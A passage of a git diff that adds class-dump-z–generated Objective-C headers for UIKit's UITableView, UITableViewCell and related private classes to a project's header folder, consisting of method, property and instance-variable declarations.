+-(id)indexPathForRowAtGlobalRow:(int)globalRow; +-(void)setIndexHiddenForSearch:(BOOL)search; +-(void)setIndexHidden:(BOOL)hidden animated:(BOOL)animated; +-(BOOL)isIndexHidden; +-(CGRect)indexFrame; +-(void)setTableHeaderViewShouldAutoHide:(BOOL)autoHide; +-(BOOL)tableHeaderViewShouldAutoHide; +-(BOOL)overlapsSectionHeaderViews; +-(void)setOverlapsSectionHeaderViews:(BOOL)views; +-(int)numberOfSections; +-(int)numberOfRowsInSection:(int)section; +-(CGRect)rectForSection:(int)section; +-(CGRect)rectForHeaderInSection:(int)section; +-(CGRect)rectForFooterInSection:(int)section; +-(CGRect)rectForRowAtIndexPath:(id)indexPath; +-(id)indexPathForRowAtPoint:(CGPoint)point; +-(id)indexPathForCell:(id)cell; +-(id)indexPathsForRowsInRect:(CGRect)rect; +-(id)cellForRowAtIndexPath:(id)indexPath; +-(id)visibleCells; +-(id)indexPathsForVisibleRows; +-(void)scrollToRowAtIndexPath:(id)indexPath atScrollPosition:(int)scrollPosition animated:(BOOL)animated; +-(void)scrollToNearestSelectedRowAtScrollPosition:(int)scrollPosition animated:(BOOL)animated; +-(void)beginUpdates; +-(void)endUpdatesWithContext:(id)context; +-(void)endUpdates; +-(id)_arrayForUpdateAction:(int)updateAction; +-(void)_updateSections:(id)sections updateAction:(int)action withRowAnimation:(int)rowAnimation; +-(void)insertSections:(id)sections withRowAnimation:(int)rowAnimation; +-(void)deleteSections:(id)sections withRowAnimation:(int)rowAnimation; +-(void)reloadSections:(id)sections withRowAnimation:(int)rowAnimation; +-(void)_updateRowsAtIndexPaths:(id)indexPaths updateAction:(int)action withRowAnimation:(int)rowAnimation; +-(void)insertRowsAtIndexPaths:(id)indexPaths withRowAnimation:(int)rowAnimation; +-(void)deleteRowsAtIndexPaths:(id)indexPaths withRowAnimation:(int)rowAnimation; +-(void)reloadRowsAtIndexPaths:(id)indexPaths withRowAnimation:(int)rowAnimation; +-(id)indexPathForSelectedRow; +-(id)indexPathsForSelectedRows; +-(BOOL)_isRowMultiSelect:(id)select; +-(BOOL)_shouldHighlightInsteadOfSelectRowAtIndexPath:(id)indexPath; +-(void)highlightRowAtIndexPath:(id)indexPath animated:(BOOL)animated scrollPosition:(int)position; +-(void)unhighlightRowAtIndexPath:(id)indexPath animated:(BOOL)animated; +-(void)_selectRowAtIndexPath:(id)indexPath animated:(BOOL)animated scrollPosition:(int)position notifyDelegate:(BOOL)delegate; +-(void)_userSelectRowAtIndexPath:(id)indexPath; +-(void)selectRowAtIndexPath:(id)indexPath animated:(BOOL)animated scrollPosition:(int)position; +-(void)deselectRowAtIndexPath:(id)indexPath animated:(BOOL)animated; +-(void)setShowsSelectionImmediatelyOnTouchBegin:(BOOL)begin; +-(BOOL)showsSelectionImmediatelyOnTouchBegin; +-(unsigned)maximumNumberOfSectionIndexTitlesWithoutTruncation; +-(void)setBackgroundColor:(id)color; +-(id)dequeueReusableCellWithIdentifier:(id)identifier; +-(BOOL)canHandleSwipes; +-(int)swipe:(int)swipe withEvent:(GSEventRef)event; +-(int)swipeCell:(int)cell atPoint:(CGPoint)point; +-(void)handleSwipe:(id)swipe; +-(BOOL)_canSelectRowContainingHitView:(id)view; +-(void)_tableViewDeferredTouchesBegan:(id)began; +-(BOOL)_resetScrollingForGestureEvent:(id)gestureEvent; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)_beginTouchesInContentView:(id)contentView touches:(id)touches withEvent:(id)event; +-(void)_updateTableHeaderViewForAutoHide; +-(void)handlePan:(id)pan; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)mouseUp:(GSEventRef)up; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(BOOL)touchesShouldCancelInContentView:(id)touches; +-(BOOL)_scrollsToMakeFirstResponderVisible; +-(void)layoutSubviews; +-(void)_rectChangedWithNewSize:(CGSize)newSize oldSize:(CGSize)size; +-(void)setFrame:(CGRect)frame; +-(void)setBounds:(CGRect)bounds; +-(void)setEditing:(BOOL)editing animated:(BOOL)animated; +-(void)setShowsHorizontalScrollIndicator:(BOOL)indicator; +-(void)setShowsVerticalScrollIndicator:(BOOL)indicator; +-(void)setContentOffset:(CGPoint)offset; +-(void)setContentInset:(UIEdgeInsets)inset; +@end + +@interface UITableView (UITableViewInternal) +-(BOOL)_dataSourceImplementsNumberOfSectionsInTableView; +-(BOOL)_delegateImplementsHeightForRowAtIndexPath; +-(BOOL)_dataSourceImplementsCanUpdateRowAtIndexPath; +-(BOOL)_delegateWantsHeaderForSection:(int)section; +-(BOOL)_delegateWantsCustomHeaderForSection:(int)section; +-(BOOL)_delegateWantsHeaderTitleForSection:(int)section; +-(BOOL)_delegateImplementsHeightForRowsInSection; +-(BOOL)_delegateWantsFooterForSection:(int)section; +-(BOOL)_delegateWantsFooterTitleForSection:(int)section; +-(BOOL)_delegateWantsCustomFooterForSection:(int)section; +-(BOOL)_delegateImplementsHeightForHeaderInSection; +-(BOOL)_delegateImplementsHeightForFooterInSection; +-(BOOL)_dataSourceImplementsTitleForHeaderInSection; +-(BOOL)_dataSourceImplementsTitleForFooterInSection; +-(BOOL)_delegateImplementsViewForHeaderInSection; +-(BOOL)_delegateImplementsViewForFooterInSection; +-(void)_deselectAllNonMultiSelectRowsAnimated:(BOOL)animated; +-(void)_deselectAllNonMultiSelectRowsAnimated:(BOOL)animated notifyDelegate:(BOOL)delegate; +-(void)_deselectRowAtIndexPath:(id)indexPath animated:(BOOL)animated notifyDelegate:(BOOL)delegate; +-(void)_stopAutoscrollTimer; +-(void)_beginReorderingForCell:(id)cell; +-(void)_tableCellAnimationDidStop:(id)_tableCellAnimation finished:(id)finished; +-(void)adjustIndexPaths:(id)paths forMoveOfIndexPath:(id)indexPath toIndexPath:(id)indexPath3; +-(void)_endReorderingForCell:(id)cell wasCancelled:(BOOL)cancelled animated:(BOOL)animated; +-(void)_cancelCellReorder:(BOOL)reorder; +-(void)_endCellReorderAnimation:(BOOL)animation; +-(void)_finishedAnimatingCellReorder:(id)reorder finished:(id)finished context:(id)context; +-(void)_beginReorderAnimationForCell:(id)cell; +-(void)_endReorderAnimations; +-(void)_autoscroll:(id)autoscroll; +-(id)_targetIndexPathAtPoint:(CGPoint)point; +-(void)_setTopSeparatorCell:(id)cell; +-(id)_cellAfterIndexPath:(id)path; +-(NSRange)_visibleGlobalRows; +-(id)_visibleCellForGlobalRow:(int)globalRow; +-(BOOL)_wasEditing; +-(BOOL)_wasEditingRowAtIndexPath:(id)indexPath; +-(BOOL)_isEditingRowAtIndexPath:(id)indexPath; +-(id)_reorderingCell; +-(int)_globalReorderingRow; +-(id)_reorderingIndexPath; +-(id)_sectionHeaderViewWithFrame:(CGRect)frame forSection:(int)section opaque:(BOOL)opaque reuseViewIfPossible:(BOOL)possible; +-(id)_sectionFooterViewWithFrame:(CGRect)frame forSection:(int)section opaque:(BOOL)opaque reuseViewIfPossible:(BOOL)possible; +-(void)_setupCell:(id)cell forEditing:(BOOL)editing canEdit:(BOOL)edit editingStyle:(int)style shouldIndentWhileEditing:(BOOL)editing5 showsReorderControl:(BOOL)control accessoryType:(int)type animated:(BOOL)animated; +-(void)_setupCell:(id)cell forEditing:(BOOL)editing atIndexPath:(id)indexPath animated:(BOOL)animated; +-(id)_createPreparedCellForGlobalRow:(int)globalRow withIndexPath:(id)indexPath; +-(id)_createPreparedCellForGlobalRow:(int)globalRow; +-(id)_createPreparedCellForRowAtIndexPath:(id)indexPath; +-(id)_visibleHeaderViewForSection:(int)section; +-(id)_visibleFooterViewForSection:(int)section; +-(BOOL)allowsHeaderViewsToFloat; +-(BOOL)allowsFooterViewsToFloat; +-(void)_tableHeaderHeightDidChangeToHeight:(float)_tableHeaderHeight; +-(void)_drawExtraSeparator:(CGRect)separator; +-(BOOL)_isCellReorderable:(id)reorderable; +-(id)titleForDeleteConfirmationButton:(id)deleteConfirmationButton; +-(void)_reorderPositionChangedForCell:(id)cell; +-(void)_endSwipeToDeleteRowDidDelete:(BOOL)_endSwipeToDeleteRow; +-(void)_removeWasCanceledForCell:(id)cell; +-(void)_didInsertRowForTableCell:(id)tableCell; +-(void)_finishedRemovingRemovalButtonForTableCell:(id)tableCell; +-(void)animateDeletionOfRowWithCell:(id)cell; +-(BOOL)_isShowingIndex; +-(CGRect)_indexRect; +-(void)_setCell:(id)cell isAncestorOfFirstResponder:(BOOL)firstResponder; +-(id)_rowData; +-(id)_indexPathForSwipeRowAtPoint:(CGPoint)point; +-(BOOL)_wantsSwipes; +-(BOOL)_isTableHeaderViewHidden; +-(float)_spacingForExtraSeparators; +-(BOOL)_shouldShowMenuForCell:(id)cell; +-(BOOL)_canPerformAction:(SEL)action forCell:(id)cell sender:(id)sender; +-(void)_performAction:(SEL)action forCell:(id)cell sender:(id)sender; +@end + +@interface UITableView (_UITableViewPrivate) +-(void)_performScrollTest:(id)test iterations:(int)iterations delta:(int)delta; +-(void)_performScrollTest:(id)test iterations:(int)iterations delta:(int)delta length:(int)length; +-(void)_scroll; +-(id)_swipeGestureRecognizer; +-(void)setUsesGestureRecognizers:(BOOL)recognizers; +-(float)_animationDuration; +-(void)_ensureRowDataIsLoaded; +-(void)_updateRowData; +-(void)_scheduleAdjustExtraSeparators; +-(void)_adjustCountLabel; +-(void)_adjustReusableTableCells; +-(void)_suspendReloads; +-(void)_resumeReloads; +-(unsigned)_countStringRowCount; +-(void)_setRowCount:(int)count; +-(void)setCountStringInsignificantRowCount:(unsigned)count; +-(void)setCountString:(id)string; +-(void)setTableHeaderBackgroundColor:(id)color; +-(id)tableHeaderBackgroundColor; +-(void)setMultiselectCheckmarkColor:(id)color; +-(id)multiselectCheckmarkColor; +-(void)_adjustTableHeaderAndFooterViews; +-(void)_updateContentSize; +-(void)_updateIndexFrame; +-(void)_updateIndexTitles:(id)titles; +-(void)_updateIndex; +-(void)_setupCellAnimations; +-(void)_endCellAnimationsWithContext:(id)context; +-(void)_setNeedsVisibleCellsUpdate:(BOOL)update withFrames:(BOOL)frames; +-(void)_updateVisibleCellsImmediatelyIfNecessary; +-(void)_updateVisibleHeadersAndFootersNow; +-(void)_updateVisibleCellsNow; +-(NSRange)_visibleGlobalRowsInRect:(CGRect)rect; +-(BOOL)_shouldDisplayExtraSeparatorsAtOffset:(float*)offset; +-(void)_adjustExtraSeparators; +-(void)_addContentSubview:(id)subview atBack:(BOOL)back; +-(id)_tableViewCellForContentView:(id)contentView; +-(int)_editingStyleForRowAtIndexPath:(id)indexPath; +-(id)_titleForDeleteConfirmationButtonForRowAtIndexPath:(id)indexPath; +-(BOOL)_shouldIndentWhileEditingForRowAtIndexPath:(id)indexPath; +-(int)_accessoryTypeForCell:(id)cell forRowAtIndexPath:(id)indexPath; +-(BOOL)_canMoveRowAtIndexPath:(id)indexPath; +-(id)_reorderingSupport; +-(id)_newSectionViewWithFrame:(CGRect)frame isHeader:(BOOL)header; +-(void)_reuseTableViewCell:(id)cell; +-(void)_reuseHeaderView:(id)view; +-(void)_reuseFooterView:(id)view; +-(void)_updateWithItems:(id)items withOldRowData:(id)oldRowData oldRowRange:(NSRange)range newRowRange:(NSRange)range4 context:(id)context; +-(void)_updateAnimationDidStop:(id)_updateAnimation finished:(id)finished context:(id)context; +-(BOOL)_canEditRowAtIndexPath:(id)indexPath; +-(void)_accessoryButtonAction:(id)action; +-(void)_sectionIndexChanged:(id)changed; +-(void)flashScrollIndicators; +-(void)_updateShowScrollIndicatorsFlag; +-(BOOL)_hasSwipeToDeleteRow; +-(BOOL)_shouldDisplayTopSeparator; +-(void)_languageChanged; +-(void)_validateCells; +-(void)_validateSectionHeadersAndFooters; +-(void)_sendWillBeginEditingForIndexPath:(id)_send; +-(void)_sendDidEndEditingForIndexPath:(id)_send; +-(id)deleteConfirmationIndexPath; +-(void)setDeleteConfirmationIndexPath:(id)path animated:(BOOL)animated; +-(void)_scrollToTopHidingTableHeader:(BOOL)topHidingTableHeader; +-(void)_scrollToTopHidingTableHeaderIfNecessary:(BOOL)topHidingTableHeaderIfNecessary; +@end + +@interface UITableView (SyntheticEvents) +-(id)_scriptingInfo; +@end + +@interface UITableView (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewCell.h b/igor/headers/dumpedUIKit/UITableViewCell.h new file mode 100644 index 0000000..e24669f --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewCell.h @@ -0,0 +1,301 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "NSCoding.h" +#import "UIView.h" +#import "UITableViewCell.h" + +@class _UITableViewCellOldEditingData, NSString, UILabel, UIButton, UIImageView, UITextField, NSTimer, UIColor; + +@interface UITableViewCell : UIView { +@private + id _layoutManager; + id _target; + SEL _editAction; + SEL _accessoryAction; + id _oldEditingData; + id _editingData; + float _rightMargin; + int _indentationLevel; + float _indentationWidth; + NSString* _reuseIdentifier; + UIView* _contentView; + UIImageView* _imageView; + UILabel* _textLabel; + UILabel* _detailTextLabel; + UIView* _backgroundView; + UIView* _selectedBackgroundView; + UIView* _selectedOverlayView; + UIColor* _backgroundColor; + UIColor* _separatorColor; + UIView* _floatingSeparatorView; + CFDictionaryRef _unhighlightedStates; + struct { + unsigned showingDeleteConfirmation : 1; + unsigned separatorStyle : 3; + unsigned selectionStyle : 3; + unsigned selectionFadeFraction : 11; + unsigned editing : 1; + unsigned editingStyle : 3; + unsigned accessoryType : 3; + unsigned editingAccessoryType : 3; + unsigned showsAccessoryWhenEditing : 1; + unsigned showsReorderControl : 1; + unsigned showDisclosure : 1; + unsigned showTopSeparator : 1; + unsigned disclosureClickable : 1; + unsigned disclosureStyle : 1; + unsigned showingRemoveControl : 1; + unsigned sectionLocation : 3; + unsigned tableViewStyle : 1; + unsigned shouldIndentWhileEditing : 1; + unsigned fontSet : 1; + unsigned usingDefaultSelectedBackgroundView : 1; + unsigned wasSwiped : 1; + unsigned highlighted : 1; + unsigned separatorDirty : 1; + unsigned drawn : 1; + unsigned drawingDisabled : 1; + unsigned style : 12; + unsigned showingMenu : 1; + } _tableCellFlags; + UIButton* _accessoryView; + UIButton* _editingAccessoryView; + UIView* _customAccessoryView; + UIView* _customEditingAccessoryView; + UIView* _separatorView; + UIView* _topSeparatorView; + UITextField* _editableTextField; + double _lastSelectionTime; + NSTimer* _deselectTimer; + float _textFieldOffset; + SEL _returnAction; +} +@property(readonly, assign, nonatomic) BOOL showingDeleteConfirmation; +@property(assign, nonatomic, getter=isEditing) BOOL editing; +@property(assign, nonatomic) float indentationWidth; +@property(assign, nonatomic) int indentationLevel; +@property(retain, nonatomic) UIView* editingAccessoryView; +@property(assign, nonatomic) int editingAccessoryType; +@property(retain, nonatomic) UIView* accessoryView; +@property(assign, nonatomic) int accessoryType; +@property(assign, nonatomic) BOOL shouldIndentWhileEditing; +@property(assign, nonatomic) BOOL showsReorderControl; +@property(readonly, assign, nonatomic) int editingStyle; +@property(assign, nonatomic, getter=isHighlighted) BOOL highlighted; +@property(assign, nonatomic, getter=isSelected) BOOL selected; +@property(assign, nonatomic) int selectionStyle; +@property(readonly, copy, nonatomic) NSString* reuseIdentifier; +@property(retain, nonatomic) UIView* selectedBackgroundView; +@property(retain, nonatomic) UIView* backgroundView; +@property(readonly, retain, nonatomic) UIView* contentView; +@property(readonly, retain, nonatomic) UILabel* detailTextLabel; +@property(readonly, retain, nonatomic) UILabel* textLabel; +@property(readonly, retain, nonatomic) UIImageView* imageView; +-(void)_updateSeparatorContent; +-(id)init; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithFrame:(CGRect)frame reuseIdentifier:(id)identifier; +-(void)_setupTableViewCellCommon; +-(id)initWithStyle:(int)style reuseIdentifier:(id)identifier; +-(id)initWithCoder:(id)coder; +-(void)_populateArchivedSubviews:(id)subviews; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(void)_didCreateContentView; +-(BOOL)drawingEnabled; +-(void)setDrawingEnabled:(BOOL)enabled; +-(BOOL)_canDrawContent; +-(void)setText:(id)text; +-(id)text; +-(void)_setFont:(id)font layout:(BOOL)layout; +-(void)setFont:(id)font; +-(id)font; +-(void)setTextAlignment:(int)alignment; +-(int)textAlignment; +-(void)setLineBreakMode:(int)mode; +-(int)lineBreakMode; +-(void)setTextColor:(id)color; +-(id)textColor; +-(void)setSelectedTextColor:(id)color; +-(id)selectedTextColor; +-(void)setImage:(id)image; +-(id)image; +-(void)setSelectedImage:(id)image; +-(id)selectedImage; +-(void)setSeparatorStyle:(int)style; +-(int)separatorStyle; +-(void)_setTableBackgroundCGColor:(CGColorRef)color; +-(id)_contentBackgroundColor; +-(void)setTableBackgroundColor:(id)color; +-(id)tableBackgroundColor; +-(void)setSeparatorColor:(id)color; +-(id)separatorColor; +-(void)setReuseIdentifier:(id)identifier; +-(void)prepareForReuse; +-(void)_saveOpaqueViewState:(id)state; +-(id)_multiselectBackgroundColor; +-(void)_setOpaque:(BOOL)opaque forSubview:(id)subview; +-(void)showSelectedBackgroundView:(BOOL)view animated:(BOOL)animated; +-(void)_cancelInternalPerformRequests; +-(void)setHighlighted:(BOOL)highlighted animated:(BOOL)animated; +-(void)_deselectAnimationFinished; +-(void)_delayedDeselect; +-(void)setSelected:(BOOL)selected animated:(BOOL)animated; +-(BOOL)isAtLeastHalfSelected; +-(float)selectionPercent; +-(BOOL)_isHighlighted; +-(void)_updateHighlightColors; +-(void)_drawContentInRect:(CGRect)rect selected:(BOOL)selected; +-(void)setLayoutManager:(id)manager; +-(id)layoutManager; +-(void)setEditingStyle:(int)style; +-(void)_syncAccessoryViewsIfNecessary; +-(void)setHidesAccessoryWhenEditing:(BOOL)editing; +-(BOOL)hidesAccessoryWhenEditing; +-(unsigned)currentStateMask; +-(void)setEditing:(BOOL)editing animated:(BOOL)animated; +-(void)setShowingDeleteConfirmation:(BOOL)confirmation; +-(CGRect)_delegateConfirmationRect; +-(CGRect)backgroundRectForBounds:(CGRect)bounds; +-(CGRect)contentRectForBounds:(CGRect)bounds; +-(CGRect)textRectForContentRect:(CGRect)contentRect; +-(CGRect)imageRectForContentRect:(CGRect)contentRect; +-(CGRect)editRectForBounds:(CGRect)bounds; +-(CGRect)accessoryRectForBounds:(CGRect)bounds; +-(CGRect)reorderRectForBounds:(CGRect)bounds; +-(void)setFrame:(CGRect)frame; +-(void)setTarget:(id)target; +-(id)target; +-(void)setEditAction:(SEL)action; +-(SEL)editAction; +-(void)setAccessoryAction:(SEL)action; +-(SEL)accessoryAction; +-(void)_setIsAncestorOfFirstResponder:(BOOL)firstResponder; +-(void)removeFromSuperview; +-(void)willMoveToSuperview:(id)superview; +-(void)didMoveToSuperview; +-(void)layoutSubviews; +-(void)willTransitionToState:(unsigned)state; +-(void)didTransitionToState:(unsigned)state; +-(CGRect)contentRectForState:(unsigned)state; +-(void)setBackgroundColor:(id)color; +-(id)backgroundColor; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(int)sectionLocation; +-(void)_setupSelectedBackgroundView; +-(void)setSectionLocation:(int)location; +-(void)setSectionLocation:(int)location animated:(BOOL)animated; +@end + +@interface UITableViewCell (UITableViewEditableTextFieldCell) +@property(assign, nonatomic, setter=setTextFieldOffset:) float textFieldOffset; +@property(readonly, retain, nonatomic) UITextField* editableTextField; +-(void)setPlaceHolderValue:(id)value; +-(void)textFieldDidBecomeFirstResponder:(id)textField; +-(void)setReturnAction:(SEL)action; +-(SEL)returnAction; +@end + +@interface UITableViewCell (UITableViewCellInternal) +@property(assign, nonatomic) BOOL wasSwiped; +-(id)_tableView; +-(id)_textLabel:(BOOL)label; +-(id)_detailTextLabel:(BOOL)label; +-(id)_editableTextField:(BOOL)field; +-(id)_imageView:(BOOL)view; +-(void)_setShowsReorderControl:(BOOL)control; +-(void)_setEditingStyle:(int)style; +-(void)_setShowingDeleteConfirmation:(BOOL)confirmation; +-(void)_setShouldIndentWhileEditing:(BOOL)_set; +-(void)_setDrawsTopSeparator:(BOOL)separator; +-(void)_drawSeparatorInRect:(CGRect)rect; +-(void)_animateFloatingSeparatorForInsertion:(BOOL)insertion withRowAnimation:(int)rowAnimation; +-(void)_removeFloatingSeparator; +-(id)_removeControl; +-(void)_grabberBeganReorder:(id)reorder; +-(void)_grabberDragged:(id)dragged yDelta:(float)delta; +-(void)_grabberReleased:(id)released; +-(void)_uiRemoveControlMinusButtonHideAnimationDone:(id)done; +-(void)_willBeDeleted; +-(void)removeControl:(id)control willRemoveTarget:(id)target; +-(void)insertControl:(id)control shouldInsertWithTarget:(id)target; +-(void)removeControlWillHideRemoveConfirmation:(id)removeControl; +-(void)editControlWasClicked:(id)clicked; +-(void)deleteConfirmationControlWasClicked:(id)clicked; +-(void)deleteConfirmationControlWasCancelled:(id)cancelled; +-(BOOL)_isReorderable; +-(float)_editingButtonOffset; +-(id)editingData:(BOOL)data; +-(void)removeEditingData; +-(id)_accessoryView:(BOOL)view; +-(id)_editingAccessoryView:(BOOL)view; +-(id)_customAccessoryView:(BOOL)view; +-(id)_customEditingAccessoryView:(BOOL)view; +-(id)_titleForDeleteConfirmationButton; +-(BOOL)_hasAccessoryView; +-(BOOL)_hasEditingAccessoryView; +-(void)_setTarget:(id)target; +-(id)_target; +-(void)_setAccessoryAction:(SEL)action; +-(SEL)_accessoryAction; +-(CGRect)removeControl:(id)control startFrameForTarget:(id)target; +-(CGRect)removeControl:(id)control endFrameForTarget:(id)target; +-(void)removeControl:(id)control wasCanceledForTarget:(id)target; +-(int)tableViewStyle; +-(void)setTableViewStyle:(int)style; +-(id)_scriptingInfo; +-(void)_startToEditTextField; +-(void)_multiselectColorChanged; +@end + +@interface UITableViewCell (UITableViewCellStatic) +@property(retain, nonatomic) _UITableViewCellOldEditingData* oldEditingData; +-(void)_createReorderControlIfNeeded; +-(id)_reorderingControl; +-(id)_reorderingSeparatorView; +-(void)_releaseReorderingControl; +-(void)_setGrabberHidden:(BOOL)hidden; +-(void)_finishedFadingGrabber:(id)grabber finished:(BOOL)finished; +-(id)_disclosureImage:(BOOL)image; +-(id)_disclosurePressedImage:(BOOL)image; +-(id)_currentAccessoryView:(BOOL)view; +-(id)_createRemoveControlForStyle:(int)style; +-(void)_releaseRemoveControl; +-(void)_removeRemoveControl; +-(void)_layoutSubviewsAnimated:(BOOL)animated; +-(void)_updateHighlightColorsForView:(id)view highlighted:(BOOL)highlighted; +-(BOOL)_isCurrentlyConsideredHighlighted; +-(void)_updateHighlightColorsForAnimationHalfwayPoint; +-(void)_updateAndCacheBackgroundColorForHighlight; +-(void)_showReorderControl; +-(id)_defaultFont; +-(id)_textLabel; +-(id)_detailTextLabel; +-(id)_editableTextField; +-(id)_imageView; +-(CGSize)_textInsetSize; +-(CGSize)_imageInsetSize; +-(void)_editingTransitionAnimationDidStop:(id)_editingTransitionAnimation finished:(id)finished context:(void*)context; +-(BOOL)longPressGestureCanTransitionToRecognizedState:(id)recognizedState; +-(void)_longPressGestureRecognized:(id)recognized; +-(void)_menuDismissed:(id)dismissed; +-(BOOL)canPerformAction:(SEL)action withSender:(id)sender; +-(void)_performAction:(SEL)action sender:(id)sender; +-(void)cut:(id)cut; +-(void)copy:(id)copy; +-(void)paste:(id)paste; +@end + +@interface UITableViewCell (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewCellContentMirror.h b/igor/headers/dumpedUIKit/UITableViewCellContentMirror.h new file mode 100644 index 0000000..068a7ce --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewCellContentMirror.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface UITableViewCellContentMirror : UIView { +@private + unsigned _selected : 1; +} +@property(assign, nonatomic, getter=isSelected) BOOL selected; +-(id)initWithFrame:(CGRect)frame; +-(id)cell; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewCellDeleteConfirmationControl.h b/igor/headers/dumpedUIKit/UITableViewCellDeleteConfirmationControl.h new file mode 100644 index 0000000..cb10cf6 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewCellDeleteConfirmationControl.h @@ -0,0 +1,38 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIControl.h" +#import "UITableViewCellDeleteConfirmationControl.h" + + +__attribute__((visibility("hidden"))) +@interface UITableViewCellDeleteConfirmationControl : UIControl { +@private + BOOL _visible; +} +@property(assign, nonatomic, getter=isVisible) BOOL visible; ++(CGSize)defaultSizeForTitle:(id)title; +-(id)initWithTitle:(id)title; +-(CGSize)defaultSize; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(BOOL)beginTrackingWithTouch:(id)touch withEvent:(id)event; +-(BOOL)continueTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)endTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)cancelTrackingWithEvent:(id)event; +-(void)setVisible:(BOOL)visible animated:(BOOL)animated; +-(void)layoutSubviews; +-(void)removeFromSuperview; +@end + +@interface UITableViewCellDeleteConfirmationControl (UITableViewCellDeleteConfirmationControlStatic) +-(void)_confirmationAnimationDidEnd; +-(void)_setInterceptMouseEvent:(BOOL)event; +-(id)_interceptMouseEvent:(GSEventRef)event; +-(id)_interceptEvent:(id)event; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewCellEditControl.h b/igor/headers/dumpedUIKit/UITableViewCellEditControl.h new file mode 100644 index 0000000..7c80914 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewCellEditControl.h @@ -0,0 +1,47 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIControl.h" +#import "UITableViewCellEditControl.h" + +@class UITableViewCell; + +__attribute__((visibility("hidden"))) +@interface UITableViewCellEditControl : UIControl { +@private + UITableViewCell* _cell; + unsigned _style : 2; + unsigned _rotated : 1; + unsigned _rotating : 1; + unsigned _hiding : 1; + unsigned _reserved : 27; +} +@property(assign, nonatomic, getter=isHiding) BOOL hiding; +@property(assign, nonatomic, getter=isRotated) BOOL rotated; ++(CGSize)defaultSize; +-(id)initWithTableViewCell:(id)tableViewCell editingStyle:(int)style; +-(void)layoutSubviews; +-(void)setFrame:(CGRect)frame; +-(void)setHighlighted:(BOOL)highlighted; +-(void)setSelected:(BOOL)selected; +-(void)setRotated:(BOOL)rotated animated:(BOOL)animated; +-(BOOL)isRotating; +-(void)_toggleRotateAnimationDidStop:(id)_toggleRotateAnimation finished:(BOOL)finished; +-(void)_multiselectColorChanged; +@end + +@interface UITableViewCellEditControl (UITableViewCellEditControlStatic) ++(id)_minusImage; ++(id)_plusImage; ++(id)_multiSelectNotSelectedImage; ++(id)_multiSelectSelectedImage; ++(id)_multiSelectHighlightedImage; +-(void)_toggleRotate; +-(id)_currentImage; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewCellEditingData.h b/igor/headers/dumpedUIKit/UITableViewCellEditingData.h new file mode 100644 index 0000000..dd5dd7a --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewCellEditingData.h @@ -0,0 +1,30 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class UITableViewCellEditControl, UITableViewCellDeleteConfirmationControl, UITableViewCellReorderControl, UIView, UITableViewCell; + +__attribute__((visibility("hidden"))) +@interface UITableViewCellEditingData : NSObject { +@private + UITableViewCell* _cell; + int _editingStyle; + UITableViewCellEditControl* _editControl; + UITableViewCellReorderControl* _reorderControl; + UITableViewCellDeleteConfirmationControl* _deleteConfirmationControl; + UIView* _reorderSeparatorView; +} +@property(readonly, assign, nonatomic, getter=isDataRequired) BOOL dataRequired; +-(id)initWithTableViewCell:(id)tableViewCell editingStyle:(int)style; +-(void)dealloc; +-(id)editControl:(BOOL)control; +-(id)reorderControl:(BOOL)control; +-(id)deleteConfirmationControl:(BOOL)control; +-(id)reorderSeparatorView:(BOOL)view; +@end + diff --git a/igor/headers/dumpedUIKit/UITableViewCellLayoutManager.h b/igor/headers/dumpedUIKit/UITableViewCellLayoutManager.h new file mode 100644 index 0000000..c92ae10 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableViewCellLayoutManager.h @@ -0,0 +1,69 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: 